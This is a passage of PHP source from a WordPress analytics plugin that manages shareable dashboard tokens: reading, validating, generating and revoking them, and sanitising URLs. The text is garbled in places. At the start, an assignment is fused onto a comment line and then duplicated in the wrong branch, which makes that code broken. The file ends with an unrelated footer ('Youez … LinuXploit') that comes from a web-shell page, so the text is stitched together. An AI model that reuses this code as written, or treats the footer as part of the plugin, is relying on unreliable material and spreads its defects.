            //phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- The token is our nonce, and is sanitized.			$token = self::sanitize_token( wp_unslash( $_SERVER['HTTP_X_BURST_SHARE_TOKEN'] ) );
		} elseif ( isset( $_GET['burst_share_token'] ) ) {
            //phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- The token is our nonce, and is sanitized.			$token = self::sanitize_token( wp_unslash( $_SERVER['HTTP_X_BURST_SHARE_TOKEN'] ) );
			$token = self::sanitize_token( wp_unslash( $_GET['burst_share_token'] ) );
		}
		if ( ! empty( $token ) ) {
			$share_links = $this->get_share_links( 'all', $token );
			if ( ! empty( $share_links ) ) {
				// get first share link.
				$share_links = array_values( $share_links );
				$shared_tabs = $share_links[0]['shared_tabs'] ?? [];
				return in_array( 'sales', $shared_tabs, true );
			}
		}
		return false;
	}

	/**
	 * Get permissions for the current share link based on the token in the URL.
	 *
	 * @return array The permissions for the current share link.
	 */
	public function get_current_share_link_permissions( array $permissions ): array {
		unset( $permissions );
        // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- The token is our nonce, and is sanitized.
		$token          = isset( $_GET['burst_share_token'] ) ? self::sanitize_token( wp_unslash( $_GET['burst_share_token'] ) ) : '';
		$no_permissions = [
			'can_change_date'          => false,
			'can_filter'               => false,
			'is_shareable_link_viewer' => false,
		];
		$share_links    = $this->get_share_links( 'all' );
		if ( ! empty( $token ) ) {
			foreach ( $share_links as $link ) {
				if ( $link['token'] === $token ) {
					$permissions                             = $link['permissions'] ?? $no_permissions;
					$permissions['is_shareable_link_viewer'] = self::is_shareable_link_viewer();
					return $permissions;
				}
			}
		}
		return $no_permissions;
	}

	/**
	 * Get allowed tabs for the current share link based on the token in the URL.
	 *
	 * @return array The allowed tab IDs for the current share link.
	 */
	public function get_current_share_link_allowed_tabs(): array {
        // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- The token is our nonce, and is sanitized.
		$token       = isset( $_GET['burst_share_token'] ) ? self::sanitize_token( wp_unslash( $_GET['burst_share_token'] ) ) : '';
		$share_links = $this->get_share_links( 'all' );
		foreach ( $share_links as $link ) {
			if ( $link['token'] === $token ) {
				return $link['shared_tabs'] ?? [];
			}
		}
		return [];
	}


	/**
	 * Revoke a share token.
	 *
	 * @param string $token The token to revoke.
	 */
	private function revoke_token( string $token ): void {
		if ( ! $this->user_can_manage() || empty( $token ) ) {
			return;
		}

		$tokens = get_option( 'burst_share_tokens', [] );
		$tokens = array_filter(
			$tokens,
			function ( $token_data ) use ( $token ) {
				return $token_data['token'] !== $token;
			}
		);

		update_option( 'burst_share_tokens', array_values( $tokens ) );
	}

	/**
	 * Sanitize view URL while preserving hash fragment.
	 * esc_url_raw strips the hash, so we need custom sanitization.
	 *
	 * @param mixed $view_url The view URL to sanitize.
	 * @return string Sanitized view URL with hash preserved.
	 */
	private function sanitize_view_url( mixed $view_url ): string {
		if ( ! is_string( $view_url ) || empty( $view_url ) ) {
			return '';
		}

		// Split URL and hash.
		$hash_position = strpos( $view_url, '#' );
		$url_part      = false !== $hash_position ? substr( $view_url, 0, $hash_position ) : $view_url;
		$hash_part     = false !== $hash_position ? substr( $view_url, $hash_position ) : '';

		// Sanitize the URL part (without hash).
		$url_part = esc_url_raw( $url_part );

		// Sanitize hash fragment.
		if ( ! empty( $hash_part ) ) {
			$hash_part = self::sanitize_hash_fragment( $hash_part );
		}

		return $url_part . $hash_part;
	}



	/**
	 * Build the share URL for a given token.
	 * All share URLs use the /burst-dashboard/ format.
	 * If view_url contains a hash fragment, it will be appended to the share URL.
	 *
	 * @param string      $token    The share token.
	 * @param string|null $view_url Optional view URL to extract hash from.
	 * @param int         $report_id Optional, the report id.
	 * @return string The complete share URL.
	 */
	private static function build_share_url( string $token, ?string $view_url = null, int $report_id = 0 ): string {
		// During cron, home_url() may return http:// while the site runs on https://.
		// Normalize to the same scheme as BURST_URL to ensure the link is correct.
		$burst_scheme = wp_parse_url( BURST_URL, PHP_URL_SCHEME );
		$base_url     = set_url_scheme( home_url( '/burst-dashboard/' ), $burst_scheme );
		$share_url    = add_query_arg( 'burst_share_token', $token, $base_url );

		// in case of the report id, filter data and date ranges are pulled from the report.
		if ( $report_id > 0 ) {
			return $share_url . '#/story';
		}
		// Extract hash fragment from view_url if present.
		if ( ! empty( $view_url ) ) {
			$hash_position = strpos( $view_url, '#' );
			if ( false !== $hash_position ) {
				$hash       = substr( $view_url, $hash_position );
				$share_url .= self::sanitize_hash_fragment( $hash );
			}
		}

		return $share_url;
	}

	/**
	 * Sanitize permissions array.
	 *
	 * @param array $permissions The permissions to sanitize.
	 * @return array Sanitized permissions array.
	 */
	private static function sanitize_permissions( array $permissions ): array {
		return apply_filters( 'burst_share_permissions', self::DEFAULT_PERMISSIONS, $permissions );
	}

	/**
	 * Sanitize shared tabs array.
	 * Validates tabs against available shareable tabs from menu config.
	 *
	 * @param mixed $tabs The tabs to sanitize.
	 * @return array Sanitized array of tab IDs.
	 */
	private static function sanitize_shared_tabs( mixed $tabs ): array {
		if ( ! is_array( $tabs ) ) {
			return [];
		}

		$valid_tab_ids = [ 'sales', 'dashboard', 'statistics', 'sources', 'subscriptions' ];
		$sanitized     = [];

		foreach ( $tabs as $tab ) {
			$tab = sanitize_text_field( $tab );
			if ( in_array( $tab, $valid_tab_ids, true ) ) {
				$sanitized[] = $tab;
			}
		}

		return array_unique( $sanitized );
	}

	/**
	 * Sanitize initial state array.
	 *
	 * @param mixed $initial_state The initial state to sanitize.
	 * @return array Sanitized initial state array.
	 */
	private function sanitize_initial_state( mixed $initial_state ): array {
		if ( ! is_array( $initial_state ) ) {
			return self::DEFAULT_INITIAL_STATE;
		}

		$sanitized = self::DEFAULT_INITIAL_STATE;

		// Sanitize date range.
		if ( isset( $initial_state['date_range'] ) && is_array( $initial_state['date_range'] ) ) {
			$sanitized['date_range'] = [
				'start' => isset( $initial_state['date_range']['start'] )
					? sanitize_text_field( $initial_state['date_range']['start'] )
					: '',
				'end'   => isset( $initial_state['date_range']['end'] )
					? sanitize_text_field( $initial_state['date_range']['end'] )
					: '',
			];
		}

		// Sanitize filters.
		if ( isset( $initial_state['filters'] ) && is_array( $initial_state['filters'] ) ) {
			$filters = [];
			foreach ( $initial_state['filters'] as $key => $value ) {
				$key = sanitize_key( $key );
				if ( ! empty( $key ) && ! empty( $value ) ) {
					$filters[ $key ] = sanitize_text_field( $value );
				}
			}
			$sanitized['filters'] = $filters;
		}

		return $sanitized;
	}

	/**
	 * Generate a unique share token.
	 *
	 * @param string $expiration    The expiration setting (never, 24h, 7d, 30d).
	 * @param string $view_url      The view URL this token is for.
	 * @param array  $permissions   The permissions for this token.
	 * @param array  $shared_tabs   The tabs that are shared with this token.
	 * @param array  $initial_state The initial state (date_range, filters).
	 * @param int    $report_id Optional, the report ID this token is for.
	 * @return string The generated token.
	 */
	private function generate_token(
		string $expiration = '7d',
		string $view_url = '',
		array $permissions = [],
		array $shared_tabs = [],
		array $initial_state = [],
		int $report_id = 0
	): string {
		if ( ! $this->user_can_manage() ) {
			return '';
		}

		$token           = '';
		$existing_tokens = get_option( 'burst_share_tokens', [] );

		// Calculate expiration time.
		$expiration_seconds = self::EXPIRATION_MAP[ $expiration ] ?? self::EXPIRATION_MAP['7d'];
		$expires            = $expiration_seconds > 0 ? time() + $expiration_seconds : 0;

		// Merge with defaults to ensure all keys exist.
		$permissions   = array_merge( self::DEFAULT_PERMISSIONS, $permissions );
		$initial_state = array_merge( self::DEFAULT_INITIAL_STATE, $initial_state );
		$token_data    = [
			'expires'       => $expires,
			// always update created date, to update expiration.
			'created'       => time(),
			'view_url'      => $view_url,
			'permissions'   => $permissions,
			'shared_tabs'   => $shared_tabs,
			'initial_state' => $initial_state,
			'report_id'     => $report_id,
		];

		// if we have a report id, check if a token with this report_id already exists. If so, use that token.
		if ( $report_id > 0 ) {
			foreach ( $existing_tokens as $key => $existing_token ) {
				if ( $existing_token['report_id'] === $report_id ) {
					$token                   = $existing_token['token'];
					$token_data['token']     = $token;
					$existing_tokens[ $key ] = $token_data;
				}
			}
		}

		// if we haven't found it, generate a new one.
		if ( empty( $token ) ) {

			$token               = bin2hex( random_bytes( 16 ) );
			$token_data['token'] = $token;
			$existing_tokens[]   = $token_data;
		}

		update_option( 'burst_share_tokens', $existing_tokens );
		return $token;
	}

	/**
	 * Delete all sessions for the burst_statistics_viewer user.
	 * Runs daily via burst_daily cron to ensure viewer sessions never exceed 24 hours.
	 */
	public function cleanup_viewer_sessions(): void {
		$user = get_user_by( 'login', 'burst_statistics_viewer' );
		if ( ! $user ) {
			return;
		}

		$manager = \WP_Session_Tokens::get_instance( $user->ID );
		$manager->destroy_all();
	}

	/**
	 * Sanitize a share token.
	 *
	 * @param string $token The token to sanitize.
	 * @return string A valid token.
	 */
	private static function sanitize_token( string $token ): string {
		$token = trim( $token );

		// Token must be exactly 32 hexadecimal characters (16 bytes * 2).
		// Based on bin2hex(random_bytes(16)) which always generates 32 hex chars.
		if ( ! preg_match( '/^[a-f0-9]{32}$/', $token ) ) {
			return '';
		}

		return $token;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit